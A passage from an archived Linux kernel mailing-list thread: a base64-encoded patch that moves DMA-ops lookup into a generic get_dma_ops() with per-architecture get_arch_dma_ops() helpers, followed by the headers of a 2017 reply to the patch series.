IHsKLQlpZiAoZGV2ICYmIGRldi0+ZG1hX29wcykKLQkJcmV0dXJuIGRldi0+ZG1hX29wczsKIAly
ZXR1cm4gJmRtYV9ub29wX29wczsKIH0KIApkaWZmIC0tZ2l0IGEvYXJjaC9tNjhrL2luY2x1ZGUv
YXNtL2RtYS1tYXBwaW5nLmggYi9hcmNoL202OGsvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaApp
bmRleCA4NjM1MDk5MzlkNWEuLjkyMTBlNDcwNzcxYiAxMDA2NDQKLS0tIGEvYXJjaC9tNjhrL2lu
Y2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKKysrIGIvYXJjaC9tNjhrL2luY2x1ZGUvYXNtL2RtYS1t
YXBwaW5nLmgKQEAgLTMsNyArMyw3IEBACiAKIGV4dGVybiBjb25zdCBzdHJ1Y3QgZG1hX21hcF9v
cHMgbTY4a19kbWFfb3BzOwogCi1zdGF0aWMgaW5saW5lIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29w
cyAqZ2V0X2RtYV9vcHMoc3RydWN0IGRldmljZSAqZGV2KQorc3RhdGljIGlubGluZSBjb25zdCBz
dHJ1Y3QgZG1hX21hcF9vcHMgKmdldF9hcmNoX2RtYV9vcHMoc3RydWN0IGJ1c190eXBlICpidXMp
CiB7CiAgICAgICAgIHJldHVybiAmbTY4a19kbWFfb3BzOwogfQpkaWZmIC0tZ2l0IGEvYXJjaC9t
ZXRhZy9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oIGIvYXJjaC9tZXRhZy9pbmNsdWRlL2FzbS9k
bWEtbWFwcGluZy5oCmluZGV4IGMxNTZhN2FjNzMyZi4uZmFkM2RjM2NiMjEwIDEwMDY0NAotLS0g
YS9hcmNoL21ldGFnL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKKysrIGIvYXJjaC9tZXRhZy9p
bmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oCkBAIC0zLDcgKzMsNyBAQAogCiBleHRlcm4gY29uc3Qg
c3RydWN0IGRtYV9tYXBfb3BzIG1ldGFnX2RtYV9vcHM7CiAKLXN0YXRpYyBpbmxpbmUgY29uc3Qg
c3RydWN0IGRtYV9tYXBfb3BzICpnZXRfZG1hX29wcyhzdHJ1Y3QgZGV2aWNlICpkZXYpCitzdGF0
aWMgaW5saW5lIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyAqZ2V0X2FyY2hfZG1hX29wcyhzdHJ1
Y3QgYnVzX3R5cGUgKmJ1cykKIHsKIAlyZXR1cm4gJm1ldGFnX2RtYV9vcHM7CiB9CmRpZmYgLS1n
aXQgYS9hcmNoL21pY3JvYmxhemUvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaCBiL2FyY2gvbWlj
cm9ibGF6ZS9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oCmluZGV4IGM3ZmFmMmZiNTFkNi4uM2Zh
ZDVlNzIyYTY2IDEwMDY0NAotLS0gYS9hcmNoL21pY3JvYmxhemUvaW5jbHVkZS9hc20vZG1hLW1h
cHBpbmcuaAorKysgYi9hcmNoL21pY3JvYmxhemUvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaApA
QCAtMzgsNyArMzgsNyBAQAogICovCiBleHRlcm4gY29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzIGRt
YV9kaXJlY3Rfb3BzOwogCi1zdGF0aWMgaW5saW5lIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyAq
Z2V0X2RtYV9vcHMoc3RydWN0IGRldmljZSAqZGV2KQorc3RhdGljIGlubGluZSBjb25zdCBzdHJ1
Y3QgZG1hX21hcF9vcHMgKmdldF9hcmNoX2RtYV9vcHMoc3RydWN0IGJ1c190eXBlICpidXMpCiB7
CiAJcmV0dXJuICZkbWFfZGlyZWN0X29wczsKIH0KZGlmZiAtLWdpdCBhL2FyY2gvbWlwcy9pbmNs
dWRlL2FzbS9kbWEtbWFwcGluZy5oIGIvYXJjaC9taXBzL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5n
LmgKaW5kZXggZGFkM2IwOWZlOTkzLi5hYmE3MTM4NWY5ZDEgMTAwNjQ0Ci0tLSBhL2FyY2gvbWlw
cy9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oCisrKyBiL2FyY2gvbWlwcy9pbmNsdWRlL2FzbS9k
bWEtbWFwcGluZy5oCkBAIC0xMSwxMiArMTEsOSBAQAogCiBleHRlcm4gY29uc3Qgc3RydWN0IGRt
YV9tYXBfb3BzICptaXBzX2RtYV9tYXBfb3BzOwogCi1zdGF0aWMgaW5saW5lIGNvbnN0IHN0cnVj
dCBkbWFfbWFwX29wcyAqZ2V0X2RtYV9vcHMoc3RydWN0IGRldmljZSAqZGV2KQorc3RhdGljIGlu
bGluZSBjb25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMgKmdldF9hcmNoX2RtYV9vcHMoc3RydWN0IGJ1
c190eXBlICpidXMpCiB7Ci0JaWYgKGRldiAmJiBkZXYtPmRtYV9vcHMpCi0JCXJldHVybiBkZXYt
PmRtYV9vcHM7Ci0JZWxzZQotCQlyZXR1cm4gbWlwc19kbWFfbWFwX29wczsKKwlyZXR1cm4gbWlw
c19kbWFfbWFwX29wczsKIH0KIAogc3RhdGljIGlubGluZSBib29sIGRtYV9jYXBhYmxlKHN0cnVj
dCBkZXZpY2UgKmRldiwgZG1hX2FkZHJfdCBhZGRyLCBzaXplX3Qgc2l6ZSkKZGlmZiAtLWdpdCBh
L2FyY2gvbW4xMDMwMC9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oIGIvYXJjaC9tbjEwMzAwL2lu
Y2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKaW5kZXggNTY0ZTM5MjdlMDA1Li43MzdlZjU3NGIzZWEg
MTAwNjQ0Ci0tLSBhL2FyY2gvbW4xMDMwMC9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oCisrKyBi
L2FyY2gvbW4xMDMwMC9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oCkBAIC0xNiw3ICsxNiw3IEBA
CiAKIGV4dGVybiBjb25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMgbW4xMDMwMF9kbWFfb3BzOwogCi1z
dGF0aWMgaW5saW5lIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyAqZ2V0X2RtYV9vcHMoc3RydWN0
IGRldmljZSAqZGV2KQorc3RhdGljIGlubGluZSBjb25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMgKmdl
dF9hcmNoX2RtYV9vcHMoc3RydWN0IGJ1c190eXBlICpidXMpCiB7CiAJcmV0dXJuICZtbjEwMzAw
X2RtYV9vcHM7CiB9CmRpZmYgLS1naXQgYS9hcmNoL25pb3MyL2luY2x1ZGUvYXNtL2RtYS1tYXBw
aW5nLmggYi9hcmNoL25pb3MyL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKaW5kZXggYWEwMGQ4
MzlhNjRiLi43YjNjNmYyODAyOTMgMTAwNjQ0Ci0tLSBhL2FyY2gvbmlvczIvaW5jbHVkZS9hc20v
ZG1hLW1hcHBpbmcuaAorKysgYi9hcmNoL25pb3MyL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgK
QEAgLTEyLDcgKzEyLDcgQEAKIAogZXh0ZXJuIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyBuaW9z
Ml9kbWFfb3BzOwogCi1zdGF0aWMgaW5saW5lIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyAqZ2V0
X2RtYV9vcHMoc3RydWN0IGRldmljZSAqZGV2KQorc3RhdGljIGlubGluZSBjb25zdCBzdHJ1Y3Qg
ZG1hX21hcF9vcHMgKmdldF9hcmNoX2RtYV9vcHMoc3RydWN0IGJ1c190eXBlICpidXMpCiB7CiAJ
cmV0dXJuICZuaW9zMl9kbWFfb3BzOwogfQpkaWZmIC0tZ2l0IGEvYXJjaC9vcGVucmlzYy9pbmNs
dWRlL2FzbS9kbWEtbWFwcGluZy5oIGIvYXJjaC9vcGVucmlzYy9pbmNsdWRlL2FzbS9kbWEtbWFw
cGluZy5oCmluZGV4IDg4YWNiZWRiNDk0Ny4uMGMwMDc1ZjE3MTQ1IDEwMDY0NAotLS0gYS9hcmNo
L29wZW5yaXNjL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKKysrIGIvYXJjaC9vcGVucmlzYy9p
bmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oCkBAIC0zMCw3ICszMCw3IEBACiAKIGV4dGVybiBjb25z
dCBzdHJ1Y3QgZG1hX21hcF9vcHMgb3Ixa19kbWFfbWFwX29wczsKIAotc3RhdGljIGlubGluZSBj
b25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMgKmdldF9kbWFfb3BzKHN0cnVjdCBkZXZpY2UgKmRldikK
K3N0YXRpYyBpbmxpbmUgY29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzICpnZXRfYXJjaF9kbWFfb3Bz
KHN0cnVjdCBidXNfdHlwZSAqYnVzKQogewogCXJldHVybiAmb3Ixa19kbWFfbWFwX29wczsKIH0K
ZGlmZiAtLWdpdCBhL2FyY2gvcGFyaXNjL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmggYi9hcmNo
L3BhcmlzYy9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oCmluZGV4IDE3NDkwNzNlNDRmYy4uNTQw
NGM2YTcyNmIyIDEwMDY0NAotLS0gYS9hcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9kbWEtbWFwcGlu
Zy5oCisrKyBiL2FyY2gvcGFyaXNjL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKQEAgLTI3LDcg
KzI3LDcgQEAgZXh0ZXJuIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyBwY3hfZG1hX29wczsKIAog
ZXh0ZXJuIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyAqaHBwYV9kbWFfb3BzOwogCi1zdGF0aWMg
aW5saW5lIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyAqZ2V0X2RtYV9vcHMoc3RydWN0IGRldmlj
ZSAqZGV2KQorc3RhdGljIGlubGluZSBjb25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMgKmdldF9hcmNo
X2RtYV9vcHMoc3RydWN0IGJ1c190eXBlICpidXMpCiB7CiAJcmV0dXJuIGhwcGFfZG1hX29wczsK
IH0KZGlmZiAtLWdpdCBhL2FyY2gvcG93ZXJwYy9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oIGIv
YXJjaC9wb3dlcnBjL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKaW5kZXggODI3NTYwM2JhNGQ1
Li4xODFhMDk1NDY4ZTQgMTAwNjQ0Ci0tLSBhL2FyY2gvcG93ZXJwYy9pbmNsdWRlL2FzbS9kbWEt
bWFwcGluZy5oCisrKyBiL2FyY2gvcG93ZXJwYy9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oCkBA
IC03OCwxNyArNzgsMTQgQEAgZXh0ZXJuIHN0cnVjdCBkbWFfbWFwX29wcyBkbWFfaW9tbXVfb3Bz
OwogI2VuZGlmCiBleHRlcm4gY29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzIGRtYV9kaXJlY3Rfb3Bz
OwogCi1zdGF0aWMgaW5saW5lIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyAqZ2V0X2RtYV9vcHMo
c3RydWN0IGRldmljZSAqZGV2KQorc3RhdGljIGlubGluZSBjb25zdCBzdHJ1Y3QgZG1hX21hcF9v
cHMgKmdldF9hcmNoX2RtYV9vcHMoc3RydWN0IGJ1c190eXBlICpidXMpCiB7CiAJLyogV2UgZG9u
J3QgaGFuZGxlIHRoZSBOVUxMIGRldiBjYXNlIGZvciBJU0EgZm9yIG5vdy4gV2UgY291bGQKIAkg
KiBkbyBpdCB2aWEgYW4gb3V0IG9mIGxpbmUgY2FsbCBidXQgaXQgaXMgbm90IG5lZWRlZCBmb3Ig
bm93LiBUaGUKIAkgKiBvbmx5IElTQSBETUEgZGV2aWNlIHdlIHN1cHBvcnQgaXMgdGhlIGZsb3Bw
eSBhbmQgd2UgaGF2ZSBhIGhhY2sKIAkgKiBpbiB0aGUgZmxvcHB5IGRyaXZlciBkaXJlY3RseSB0
byBnZXQgYSBkZXZpY2UgZm9yIHVzLgogCSAqLwotCWlmICh1bmxpa2VseShkZXYgPT0gTlVMTCkp
Ci0JCXJldHVybiBOVUxMOwotCi0JcmV0dXJuIGRldi0+ZG1hX29wczsKKwlyZXR1cm4gTlVMTDsK
IH0KIAogLyoKZGlmZiAtLWdpdCBhL2FyY2gvcG93ZXJwYy9pbmNsdWRlL2FzbS9wczMuaCBiL2Fy
Y2gvcG93ZXJwYy9pbmNsdWRlL2FzbS9wczMuaAppbmRleCBhMTlmODMxYTRjYzkuLjE3ZWU3MTll
Nzk5ZiAxMDA2NDQKLS0tIGEvYXJjaC9wb3dlcnBjL2luY2x1ZGUvYXNtL3BzMy5oCisrKyBiL2Fy
Y2gvcG93ZXJwYy9pbmNsdWRlL2FzbS9wczMuaApAQCAtNDM1LDcgKzQzNSw3IEBAIHN0YXRpYyBp
bmxpbmUgdm9pZCAqcHMzX3N5c3RlbV9idXNfZ2V0X2RydmRhdGEoCiAJcmV0dXJuIGRldl9nZXRf
ZHJ2ZGF0YSgmZGV2LT5jb3JlKTsKIH0KIAotLyogVGhlc2UgdHdvIG5lZWQgZ2xvYmFsIHNjb3Bl
IGZvciBnZXRfZG1hX29wcygpLiAqLworLyogVGhlc2UgdHdvIG5lZWQgZ2xvYmFsIHNjb3BlIGZv
ciBnZXRfYXJjaF9kbWFfb3BzKCkuICovCiAKIGV4dGVybiBzdHJ1Y3QgYnVzX3R5cGUgcHMzX3N5
c3RlbV9idXNfdHlwZTsKIApkaWZmIC0tZ2l0IGEvYXJjaC9zMzkwL2luY2x1ZGUvYXNtL2RtYS1t
YXBwaW5nLmggYi9hcmNoL3MzOTAvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaAppbmRleCBhODcy
MDI3ZDBjMWIuLjMxMDhiOGRiZTI2NiAxMDA2NDQKLS0tIGEvYXJjaC9zMzkwL2luY2x1ZGUvYXNt
L2RtYS1tYXBwaW5nLmgKKysrIGIvYXJjaC9zMzkwL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgK
QEAgLTEyLDEwICsxMiw4IEBACiAKIGV4dGVybiBjb25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMgczM5
MF9wY2lfZG1hX29wczsKIAotc3RhdGljIGlubGluZSBjb25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMg
KmdldF9kbWFfb3BzKHN0cnVjdCBkZXZpY2UgKmRldikKK3N0YXRpYyBpbmxpbmUgY29uc3Qgc3Ry
dWN0IGRtYV9tYXBfb3BzICpnZXRfYXJjaF9kbWFfb3BzKHN0cnVjdCBidXNfdHlwZSAqYnVzKQog
ewotCWlmIChkZXYgJiYgZGV2LT5kbWFfb3BzKQotCQlyZXR1cm4gZGV2LT5kbWFfb3BzOwogCXJl
dHVybiAmZG1hX25vb3Bfb3BzOwogfQogCmRpZmYgLS1naXQgYS9hcmNoL3NoL2luY2x1ZGUvYXNt
L2RtYS1tYXBwaW5nLmggYi9hcmNoL3NoL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKaW5kZXgg
YTczODJjMzRjMjQxLi5kOTkwMDhhZjVmNzMgMTAwNjQ0Ci0tLSBhL2FyY2gvc2gvaW5jbHVkZS9h
c20vZG1hLW1hcHBpbmcuaAorKysgYi9hcmNoL3NoL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgK
QEAgLTQsNyArNCw3IEBACiBleHRlcm4gY29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzICpkbWFfb3Bz
OwogZXh0ZXJuIHZvaWQgbm9faW9tbXVfaW5pdCh2b2lkKTsKIAotc3RhdGljIGlubGluZSBjb25z
dCBzdHJ1Y3QgZG1hX21hcF9vcHMgKmdldF9kbWFfb3BzKHN0cnVjdCBkZXZpY2UgKmRldikKK3N0
YXRpYyBpbmxpbmUgY29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzICpnZXRfYXJjaF9kbWFfb3BzKHN0
cnVjdCBidXNfdHlwZSAqYnVzKQogewogCXJldHVybiBkbWFfb3BzOwogfQpkaWZmIC0tZ2l0IGEv
YXJjaC9zcGFyYy9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oIGIvYXJjaC9zcGFyYy9pbmNsdWRl
L2FzbS9kbWEtbWFwcGluZy5oCmluZGV4IDNkMmJhYmMwYzRjNi4uNjljYzYyNzc3OWYyIDEwMDY0
NAotLS0gYS9hcmNoL3NwYXJjL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKKysrIGIvYXJjaC9z
cGFyYy9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oCkBAIC0yNCwxNCArMjQsMTQgQEAgZXh0ZXJu
IGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyBwY2kzMl9kbWFfb3BzOwogCiBleHRlcm4gc3RydWN0
IGJ1c190eXBlIHBjaV9idXNfdHlwZTsKIAotc3RhdGljIGlubGluZSBjb25zdCBzdHJ1Y3QgZG1h
X21hcF9vcHMgKmdldF9kbWFfb3BzKHN0cnVjdCBkZXZpY2UgKmRldikKK3N0YXRpYyBpbmxpbmUg
Y29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzICpnZXRfYXJjaF9kbWFfb3BzKHN0cnVjdCBidXNfdHlw
ZSAqYnVzKQogewogI2lmZGVmIENPTkZJR19TUEFSQ19MRU9OCiAJaWYgKHNwYXJjX2NwdV9tb2Rl
bCA9PSBzcGFyY19sZW9uKQogCQlyZXR1cm4gbGVvbl9kbWFfb3BzOwogI2VuZGlmCiAjaWYgZGVm
aW5lZChDT05GSUdfU1BBUkMzMikgJiYgZGVmaW5lZChDT05GSUdfUENJKQotCWlmIChkZXYtPmJ1
cyA9PSAmcGNpX2J1c190eXBlKQorCWlmIChidXMgPT0gJnBjaV9idXNfdHlwZSkKIAkJcmV0dXJu
ICZwY2kzMl9kbWFfb3BzOwogI2VuZGlmCiAJcmV0dXJuIGRtYV9vcHM7CmRpZmYgLS1naXQgYS9h
cmNoL3RpbGUvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaCBiL2FyY2gvdGlsZS9pbmNsdWRlL2Fz
bS9kbWEtbWFwcGluZy5oCmluZGV4IDI1NjI5OTVhNmFjOS4uYmJjNzFhMjliMmM2IDEwMDY0NAot
LS0gYS9hcmNoL3RpbGUvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaAorKysgYi9hcmNoL3RpbGUv
aW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaApAQCAtMjksMTIgKzI5LDkgQEAgZXh0ZXJuIGNvbnN0
IHN0cnVjdCBkbWFfbWFwX29wcyAqZ3hfcGNpX2RtYV9tYXBfb3BzOwogZXh0ZXJuIGNvbnN0IHN0
cnVjdCBkbWFfbWFwX29wcyAqZ3hfbGVnYWN5X3BjaV9kbWFfbWFwX29wczsKIGV4dGVybiBjb25z
dCBzdHJ1Y3QgZG1hX21hcF9vcHMgKmd4X2h5YnJpZF9wY2lfZG1hX21hcF9vcHM7CiAKLXN0YXRp
YyBpbmxpbmUgY29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzICpnZXRfZG1hX29wcyhzdHJ1Y3QgZGV2
aWNlICpkZXYpCitzdGF0aWMgaW5saW5lIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyAqZ2V0X2Fy
Y2hfZG1hX29wcyhzdHJ1Y3QgYnVzX3R5cGUgKmJ1cykKIHsKLQlpZiAoZGV2ICYmIGRldi0+ZG1h
X29wcykKLQkJcmV0dXJuIGRldi0+ZG1hX29wczsKLQllbHNlCi0JCXJldHVybiB0aWxlX2RtYV9t
YXBfb3BzOworCXJldHVybiB0aWxlX2RtYV9tYXBfb3BzOwogfQogCiBzdGF0aWMgaW5saW5lIGRt
YV9hZGRyX3QgZ2V0X2RtYV9vZmZzZXQoc3RydWN0IGRldmljZSAqZGV2KQpkaWZmIC0tZ2l0IGEv
YXJjaC91bmljb3JlMzIvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaCBiL2FyY2gvdW5pY29yZTMy
L2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKaW5kZXggMTRkNzcyOWM3YjczLi41MThiYTU4NDhk
ZDYgMTAwNjQ0Ci0tLSBhL2FyY2gvdW5pY29yZTMyL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgK
KysrIGIvYXJjaC91bmljb3JlMzIvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaApAQCAtMjMsNyAr
MjMsNyBAQAogCiBleHRlcm4gY29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzIHN3aW90bGJfZG1hX21h
cF9vcHM7CiAKLXN0YXRpYyBpbmxpbmUgY29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzICpnZXRfZG1h
X29wcyhzdHJ1Y3QgZGV2aWNlICpkZXYpCitzdGF0aWMgaW5saW5lIGNvbnN0IHN0cnVjdCBkbWFf
bWFwX29wcyAqZ2V0X2FyY2hfZG1hX29wcyhzdHJ1Y3QgYnVzX3R5cGUgKmJ1cykKIHsKIAlyZXR1
cm4gJnN3aW90bGJfZG1hX21hcF9vcHM7CiB9CmRpZmYgLS1naXQgYS9hcmNoL3g4Ni9pbmNsdWRl
L2FzbS9kbWEtbWFwcGluZy5oIGIvYXJjaC94ODYvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaApp
bmRleCA5NGI1Yjk2OTY2Y2IuLjA4YTA4MzhiODNmYiAxMDA2NDQKLS0tIGEvYXJjaC94ODYvaW5j
bHVkZS9hc20vZG1hLW1hcHBpbmcuaAorKysgYi9hcmNoL3g4Ni9pbmNsdWRlL2FzbS9kbWEtbWFw
cGluZy5oCkBAIC0yNywxNiArMjcsOSBAQCBleHRlcm4gaW50IHBhbmljX29uX292ZXJmbG93Owog
CiBleHRlcm4gY29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzICpkbWFfb3BzOwogCi1zdGF0aWMgaW5s
aW5lIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyAqZ2V0X2RtYV9vcHMoc3RydWN0IGRldmljZSAq
ZGV2KQorc3RhdGljIGlubGluZSBjb25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMgKmdldF9hcmNoX2Rt
YV9vcHMoc3RydWN0IGJ1c190eXBlICpidXMpCiB7Ci0jaWZuZGVmIENPTkZJR19YODZfREVWX0RN
QV9PUFMKIAlyZXR1cm4gZG1hX29wczsKLSNlbHNlCi0JaWYgKHVubGlrZWx5KCFkZXYpIHx8ICFk
ZXYtPmRtYV9vcHMpCi0JCXJldHVybiBkbWFfb3BzOwotCWVsc2UKLQkJcmV0dXJuIGRldi0+ZG1h
X29wczsKLSNlbmRpZgogfQogCiBib29sIGFyY2hfZG1hX2FsbG9jX2F0dHJzKHN0cnVjdCBkZXZp
Y2UgKipkZXYsIGdmcF90ICpnZnApOwpkaWZmIC0tZ2l0IGEvYXJjaC94dGVuc2EvaW5jbHVkZS9h
c20vZG1hLW1hcHBpbmcuaCBiL2FyY2gveHRlbnNhL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgK
aW5kZXggOWVlY2ZjM2M1ZGM0Li5jNjE0MGZhOGMwYmUgMTAwNjQ0Ci0tLSBhL2FyY2gveHRlbnNh
L2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKKysrIGIvYXJjaC94dGVuc2EvaW5jbHVkZS9hc20v
ZG1hLW1hcHBpbmcuaApAQCAtMjAsMTIgKzIwLDkgQEAKIAogZXh0ZXJuIGNvbnN0IHN0cnVjdCBk
bWFfbWFwX29wcyB4dGVuc2FfZG1hX21hcF9vcHM7CiAKLXN0YXRpYyBpbmxpbmUgY29uc3Qgc3Ry
dWN0IGRtYV9tYXBfb3BzICpnZXRfZG1hX29wcyhzdHJ1Y3QgZGV2aWNlICpkZXYpCitzdGF0aWMg
aW5saW5lIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyAqZ2V0X2FyY2hfZG1hX29wcyhzdHJ1Y3Qg
YnVzX3R5cGUgKmJ1cykKIHsKLQlpZiAoZGV2ICYmIGRldi0+ZG1hX29wcykKLQkJcmV0dXJuIGRl
di0+ZG1hX29wczsKLQllbHNlCi0JCXJldHVybiAmeHRlbnNhX2RtYV9tYXBfb3BzOworCXJldHVy
biAmeHRlbnNhX2RtYV9tYXBfb3BzOwogfQogCiB2b2lkIGRtYV9jYWNoZV9zeW5jKHN0cnVjdCBk
ZXZpY2UgKmRldiwgdm9pZCAqdmFkZHIsIHNpemVfdCBzaXplLApkaWZmIC0tZ2l0IGEvaW5jbHVk
ZS9saW51eC9kbWEtbWFwcGluZy5oIGIvaW5jbHVkZS9saW51eC9kbWEtbWFwcGluZy5oCmluZGV4
IGU5N2YyM2U4YjJkOS4uYWI4NzEwODg4ZGRmIDEwMDY0NAotLS0gYS9pbmNsdWRlL2xpbnV4L2Rt
YS1tYXBwaW5nLmgKKysrIGIvaW5jbHVkZS9saW51eC9kbWEtbWFwcGluZy5oCkBAIC0xNjQsNiAr
MTY0LDEzIEBAIGludCBkbWFfbW1hcF9mcm9tX2NvaGVyZW50KHN0cnVjdCBkZXZpY2UgKmRldiwg
c3RydWN0IHZtX2FyZWFfc3RydWN0ICp2bWEsCiAKICNpZmRlZiBDT05GSUdfSEFTX0RNQQogI2lu
Y2x1ZGUgPGFzbS9kbWEtbWFwcGluZy5oPgorc3RhdGljIGlubGluZSBjb25zdCBzdHJ1Y3QgZG1h
X21hcF9vcHMgKmdldF9kbWFfb3BzKHN0cnVjdCBkZXZpY2UgKmRldikKK3sKKwlpZiAoZGV2ICYm
IGRldi0+ZG1hX29wcykKKwkJcmV0dXJuIGRldi0+ZG1hX29wczsKKwlyZXR1cm4gZ2V0X2FyY2hf
ZG1hX29wcyhkZXYgPyBkZXYtPmJ1cyA6IE5VTEwpOworfQorCiBzdGF0aWMgaW5saW5lIHZvaWQg
c2V0X2RtYV9vcHMoc3RydWN0IGRldmljZSAqZGV2LAogCQkJICAgICAgIGNvbnN0IHN0cnVjdCBk
bWFfbWFwX29wcyAqZG1hX29wcykKIHsKLS0gCjIuMTEuMAoK

--_004_1484173670261928camelsandiskcom_
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline


From - Thu Nov 08 21:39:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org" <gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sparc,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.kernel.pci,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/9] Move dma_ops from archdata into struct device
Date: Thu, 12 Jan 2017 08:35:11 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20170112073511.GA23347@kroah.com>
References: <20170111005648.14988-1-bart.vanassche@sandisk.com>
	<20170111005648.14988-3-bart.vanassche@sandisk.com>
	<20170111064803.GB26893@kroah.com>
	<1484158589.2619.14.camel@sandisk.com>
	<20170111203100.GB17895@kroah.com>
	<1484173670.2619.28.camel@sandisk.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1484206499 4163 195.159.176.226 (12 Jan 2017 07:34:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 12 Jan 2017 07:34:59 +0000 (UTC)
User-Agent: Mutt/1.7.2 (2016-11-26)
Cc: "linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org" <linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>,
	"dalias-8zAoT0mYgF4@public.gmane.org" <dalias-8zAoT0mYgF4@public.gmane.org>,
	"linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"a-jacquiot-l0cyMroinI0@public.gmane.org" <a-jacquiot-l0cyMroinI0@public.gmane.org>,
	"catalin.marinas-5wv7dgnIgG8@public.gmane.org" <catalin.marinas-5wv7dgnIgG8@public.gmane.org>,
	"will.deacon-5wv7dgnIgG8@public.gmane.org" <will.deacon-5wv7dgnIgG8@public.gmane.org>,
	"x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org" <x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>, "mulix-BzGcCpaT2IbYtjvyW6yDsg@public.gmane.org" <mulix-BzGcCpaT2IbYtjvyW6yDsg@public.gmane.org>,
